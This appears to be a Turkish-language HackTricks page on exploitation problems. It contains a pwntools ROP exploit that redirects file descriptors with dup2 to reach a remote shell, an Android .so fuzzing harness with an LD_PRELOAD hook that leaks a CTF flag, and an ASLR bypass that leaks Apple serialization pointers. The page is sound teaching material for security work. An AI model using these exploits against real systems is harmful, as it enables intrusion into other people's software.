Yaygın Exploiting Problemleri

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

FDs in Remote Exploitation

Örneğin system('/bin/sh') çağıran bir exploit’i remote server’a gönderdiğinizde, bu elbette server process’inde çalıştırılacak ve /bin/sh input’u stdin (FD: 0) üzerinden bekleyecek ve çıktıyı stdout ve stderr (FDs 1 ve 2) üzerinde yazdıracaktır. Bu yüzden attacker shell ile etkileşim kuramaz.

Bunu düzeltmenin bir yolu, server başlarken FD number 3’ü (for listening) oluşturduğunu ve ardından sizin connection’unuzun FD number 4 olacağını varsaymaktır. Bu nedenle, syscall dup2’yi kullanarak stdin (FD 0) ve stdout (FD 1)’i attacker’ın connection’unun olduğu FD 4’e çoğaltmak mümkün olur; böylece shell çalıştırıldığında ona bağlanmak mümkün hale gelir.

Exploit örneği buradan

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

Unutmayın ki socat zaten stdin ve stdout’u sokete aktarır. Ancak, pty modu DELETE karakterlerini içerir. Yani bir \x7f ( DELETE -) gönderirseniz, exploit’inizdeki önceki karakteri silecektir.

Bunu aşmak için gönderilen her \x7f’den önce escape karakteri \x16 eklenmelidir.

Burada bu davranışın bir örneğini bulabilirsiniz.

Android AArch64 shared-library fuzzing & LD_PRELOAD hooking

Bir Android uygulaması yalnızca stripped AArch64 .so ile dağıtıldığında, APK’yı yeniden derlemeden cihaz üzerinde exported logic’i doğrudan fuzzing ile test edebilirsiniz. Pratik bir iş akışı:

  1. Çağrılabilir giriş noktalarını bulun. objdump -T libvalidate.so | grep -E "validate" export edilen fonksiyonları hızlıca listeler. Decompilerlar (Ghidra, IDA, BN) gerçek imzayı ortaya çıkarır, örn. int validate(const uint8_t *buf, uint64_t len).
  2. Bağımsız bir harness yazın. Bir dosya yükleyin, buffer’ı canlı tutun ve exported symbol’ü uygulamanın yapacağı şekilde tam olarak çağırın. NDK ile cross-compile edin (örn. aarch64-linux-android21-clang harness.c -L. -lvalidate -fPIE -pie).
Minimal dosya-tabanlı harness ```c #include #include #include #include #include #include

extern int validate(const uint8_t *buf, uint64_t len);

int main(int argc, char **argv) { if (argc < 2) return 1; int fd = open(argv[1], O_RDONLY); if (fd < 0) return 1; struct stat st = {0}; if (fstat(fd, &st) < 0) return 1; uint8_t *buffer = malloc(st.st_size + 1); read(fd, buffer, st.st_size); close(fd); int ret = validate(buffer, st.st_size); free(buffer); return ret; }

</details>

3. **Beklenen yapıyı yeniden oluşturun.** Ghidra'daki hata dizeleri ve karşılaştırmalar, fonksiyonun sabit anahtarlara sahip katı JSON parse ettiğini gösteriyordu (`magic`, `version`, iç içe `root.children.*`) ve aritmetik kontroller (ör. `value * 2 == 84` ⇒ `value` `42` olmalı). Sentaktik olarak geçerli JSON'u, her dalı kademeli olarak tatmin edecek şekilde beslemek, enstrümantasyon olmadan şemayı haritalamanızı sağlar.
4. **Anti-debug'i atlayarak gizli bilgileri leak edin.** Çünkü `.so` `snprintf`'yi import ediyor; `LD_PRELOAD` ile onu override ederek breakpoints engellendiğinde bile hassas format dizelerini dump edebilirsiniz:

<details>
<summary>Minimal snprintf leak hook</summary>
```c
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdarg.h>
#include <stdio.h>
#include <string.h>

typedef int (*vsnprintf_t)(char *, size_t, const char *, va_list);

int snprintf(char *str, size_t size, const char *fmt, ...) {
static vsnprintf_t real_vsnprintf;
if (!real_vsnprintf)
real_vsnprintf = (vsnprintf_t)dlsym(RTLD_NEXT, "vsnprintf");

va_list args;
va_start(args, fmt);
va_list args_copy;
va_copy(args_copy, args);
if (fmt && strstr(fmt, "MHL{")) {
fprintf(stdout, "[LD_PRELOAD] flag: ");
vfprintf(stdout, fmt, args);
fputc('\n', stdout);
}
int ret = real_vsnprintf(str, size, fmt, args_copy);
va_end(args_copy);
va_end(args);
return ret;
}

LD_PRELOAD=./hook.so ./validate_harness payload.json internal flag’ı sızdırır ve binary’yi patch’lemeden crash oracle’ı doğrular. 5. Shrink the fuzz space. Disassembly, flag karşılaştırmasında yeniden kullanılan bir XOR anahtarını ortaya çıkardı; bu da flag’in ilk yedi baytının bilindiği anlamına geliyordu. Sadece dokuz bilinmeyen baytı fuzz’la. 6. Embed fuzz bytes inside a valid JSON envelope. AFL harness’ı stdin’den tam olarak dokuz bayt okur, bunları flag suffix’ine kopyalar ve diğer tüm alanları (constants, tree depths, arithmetic preimage) hard-code eder. Herhangi bir hatalı okuma programdan çıkışa neden olur; bu yüzden AFL zamanını anlamlı test vakalarına harcar:

Minimal AFL harness ```c #include #include #include #include

extern int validate(unsigned char *bytes, size_t len);

#define FUZZ_SIZE 9

int main(void) { uint8_t blob[FUZZ_SIZE]; if (read(STDIN_FILENO, blob, FUZZ_SIZE) != FUZZ_SIZE) return 0; char suffix[FUZZ_SIZE + 1]; memcpy(suffix, blob, FUZZ_SIZE); suffix[FUZZ_SIZE] = ‘\0’; char json[512]; int len = snprintf(json, sizeof(json), “{"magic":16909060,"version":1,"padding":0,"flag":"MHL{827b07c%s}",”
“"root":{"type":16,"level":3,"num_children":1,"children":[”
“{"type":32,"level":2,"num_children":1,"subchildren":[”
“{"type":48,"level":1,"num_children":1,"leaves":[”
“{"type":64,"level":0,"reserved":0,"value":42}]}}]}}”, suffix); if (len <= 0 || (size_t)len >= sizeof(json)) return 0; validate((unsigned char *)json, len); return 0; }

</details>

7. **Run AFL with the crash-as-success oracle.** Her semantik kontrolü geçen ve doğru dokuz baytlık suffix'i tahmin eden herhangi bir girdi kasıtlı çöküşü tetikler; bu dosyalar `output/crashes` içine düşer ve basit harness üzerinden replay edilerek sırrı geri almak için kullanılabilir.

Bu iş akışı, anti-debug korumalı JNI doğrulayıcılarını hızlıca triage etmenizi, gerektiğinde leak secrets yapmanızı ve ardından sadece anlamlı baytları fuzz etmenizi sağlar; tüm bunları orijinal APK'ya dokunmadan gerçekleştirebilirsiniz.

## Image/Media Parsing Exploits (DNG/TIFF/JPEG)

Kötü amaçlı kamera formatları genellikle kendi bytecode'larını (opcode lists, map tables, tone curves) içerir. Ayrıntılardan türetilen boyutlara veya plane index'lerine karşı bound-check yapmayan ayrıcalıklı bir decoder olduğunda, bu opcode'lar saldırgan kontrollü read/write primitives haline gelir; heap'i groom etmek, pointer'ları pivotlamak veya hatta leak ASLR yapmak için kullanılabilir. Samsung'un gerçek dünyadaki Quram exploit'i, `DeltaPerColumn` bounds hatasını zincirleyip atlanan opcode'lar ile heap spraying yapma, vtable remapping ve `system()` çağıran bir JOP zinciri kurma örneğidir.

<a class="content_ref" href="../mobile-pentesting/android-app-pentesting/abusing-android-media-pipelines-image-parsers.md"><span class="content_ref_label">Abusing Android Media Pipelines Image Parsers</span></a>

## Pointer-Keyed Hash Table Pointer Leaks on Apple Serialization

### Requirements & attack surface

- Bir servis, saldırgan kontrollü property list'leri (XML veya binary) kabul eder ve permissive bir allowlist ile `NSKeyedUnarchiver.unarchivedObjectOfClasses` çağırır (ör. `NSDictionary`, `NSArray`, `NSNumber`, `NSString`, `NSNull`).
- Ortaya çıkan nesneler yeniden kullanılır ve daha sonra tekrar `NSKeyedArchiver` ile serialize edilir (veya deterministik bucket sırası ile iterate edilir) ve saldırgana geri gönderilir.
- Konteynerlerdeki bazı anahtar türleri hash kodu olarak pointer değerlerini kullanır. March 2025'ten önce, `CFNull`/`NSNull` `CFHash(object) == (uintptr_t)object`'a geri dönerdi ve deserialization her zaman shared-cache singleton'ı `kCFNull` döndürerek bellek bozulması veya timing olmadan kararlı bir kernel-paylaşılan pointer sağlıyordu.

### Controllable hashing primitives

- **Pointer-based hashing:** `CFNull`’ın `CFRuntimeClass`'ı bir hash callback içermediği için `CFBasicHash` obje adresini hash olarak kullanır. Singleton, yeniden başlatmaya kadar sabit bir shared-cache adresinde yaşadığı için hash süreçler arası kararlıdır.
- **Attacker-controlled hashes:** 32-bit `NSNumber` anahtarları `_CFHashInt` üzerinden hashlenir; bu fonksiyon deterministik ve saldırgan kontrollüdür. Belirli tamsayıları seçmek, saldırganın istenen tablo boyutu için `hash(number) % num_buckets` değerini seçmesine izin verir.
- **`NSDictionary` implementation:** Immutable dictionary'ler bir `CFBasicHash` gömülü olarak taşır ve bucket sayısı `__CFBasicHashTableSizes`'tan seçilen asal sayılardan biri olur (ör. 23, 41, 71, 127, 191, 251, 383, 631, 1087). Çakışmalar linear probing (`__kCFBasicHashLinearHashingValue`) ile ele alınır ve serialization bucket'ları sayısal sırayla gezer; bu yüzden serialize edilen anahtarların sırası, her anahtarın sonunda hangi bucket indeksini işgal ettiğini kodlar.

### Encoding bucket indices into serialization order

Bir plist oluşturarak bucket'ların dolu ve boş slotlar arasında dönüşümlü olduğu bir dictionary ortaya çıkaran saldırgan, linear probing'in `NSNull`'ı nereye yerleştirebileceğini kısıtlar. 7-bucket'lı bir örnek için, çift indeksli bucket'ları `NSNumber` anahtarları ile doldurmak şunu üretir:
```text
bucket:          0 1 2 3 4 5 6
occupancy:       # _ # _ # _ #

During deserialization kurban tek NSNull anahtarını ekler. Başlangıç bucket’ı hash(NSNull) % 7 olur, fakat probing açık indekslerden biri olan {1,3,5} bulunana kadar ilerler. The serialized key order reveals which slot was used, disclosing whether the pointer hash modulo 7 lies in {6,0,1}, {2,3}, or {4,5}. Çünkü saldırgan orijinal serialized sıralamayı kontrol ettiğinden, girdi plist’inde NSNull anahtarı son olarak yayımlanır; böylece post-reserialization sıralama yalnızca bucket yerleşiminin bir fonksiyonudur.

Tam kalanları tamamlayıcı tablolarla belirleme

Tek bir dictionary sadece bir kalan aralığını leaks eder. hash(NSNull) % p değerinin tam değerini belirlemek için, her asal bucket boyutu p için iki dictionary oluşturun: biri çift bucket’lar ön-doldurulmuş ve diğeri tek bucket’lar ön-doldurulmuş. Tamamlayıcı desen (_ # _ # _ # _) için, boş slotlar (0,2,4,6) kalan kümelerine {0}, {1,2}, {3,4}, {5,6} olarak eşlenir. NSNull’ın her iki dictionary’deki serialized konumunu gözlemlemek, iki aday kümenin kesişimi o p için benzersiz bir r_i verdiğinden kalanı tek bir değere daraltır.

Saldırgan tüm dictionary’leri bir NSArray içine paketler, böylece tek bir deserialize → serialize turu seçilen her tablo boyutu için kalanları leaks eder.

64-bit shared-cache pointer’ının yeniden oluşturulması

Her asal p_i ∈ {23, 41, 71, 127, 191, 251, 383, 631, 1087} için saldırgan serialized sıralamadan hash(NSNull) ≡ r_i (mod p_i)’yi kurtarır. Çin Kalan Teoremi (CRT) ile genişletilmiş Öklid algoritmasını uygulamak şunu verir:

Π p_i = 23·41·71·127·191·251·383·631·1087 = 0x5ce23017b3bd51495 > 2^64

öyle ki birleşik kalan, kCFNull’a işaret eden 64-bit pointer ile benzersiz olarak eşleşir. Project Zero PoC, ara modülleri yazdırırken kongruensleri yineleyerek gerçek adrese (0x00000001eb91ab60 zafiyetli build üzerinde) doğru yakınsamanın nasıl gerçekleştiğini gösterir.

Pratik iş akışı

  1. Özel girdi oluşturma: Saldırgan tarafı XML plist’ini oluşturun (her asal için iki dictionary, NSNull son seri hale getirilmiş olarak) ve bunu binary formata çevirin.
clang -o attacker-input-generator attacker-input-generator.c
./attacker-input-generator > attacker-input.plist
plutil -convert binary1 attacker-input.plist
  1. Kurban tarafında dönüş: Hedef servis, izin verilen sınıflar kümesini kullanarak NSKeyedUnarchiver.unarchivedObjectOfClasses ile deserialize eder {NSDictionary, NSArray, NSNumber, NSString, NSNull} ve hemen ardından NSKeyedArchiver ile yeniden serileştirir.
  2. Kalan çıkarımı: Dönen plist’i XML’e çevirerek dictionary anahtar sıralaması ortaya çıkar. extract-pointer.c gibi bir yardımcı, object table’ı okur, singleton NSNull’ın indeksini belirler, her dictionary çiftini ilgili bucket kalanı ile eşler ve CRT sistemini çözerek shared-cache pointer’ı geri kazanır.
  3. Doğrulama (isteğe bağlı): CFHash(kCFNull) yazdıran küçük bir Objective-C yardımcı derlenerek leaked değerin gerçek adresle eşleştiği doğrulanır.

Bellek güvenliği hatası gerekmez—işaretçi-anahtarlı yapılarının serileştirme sırasını gözlemlemek uzak bir ASLR bypass ilkelini sağlar.

Common Exploiting Problems Unsafe Relocation Fixups

Reversing Native Libraries

Reversing Tools & Basic Methods

References

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin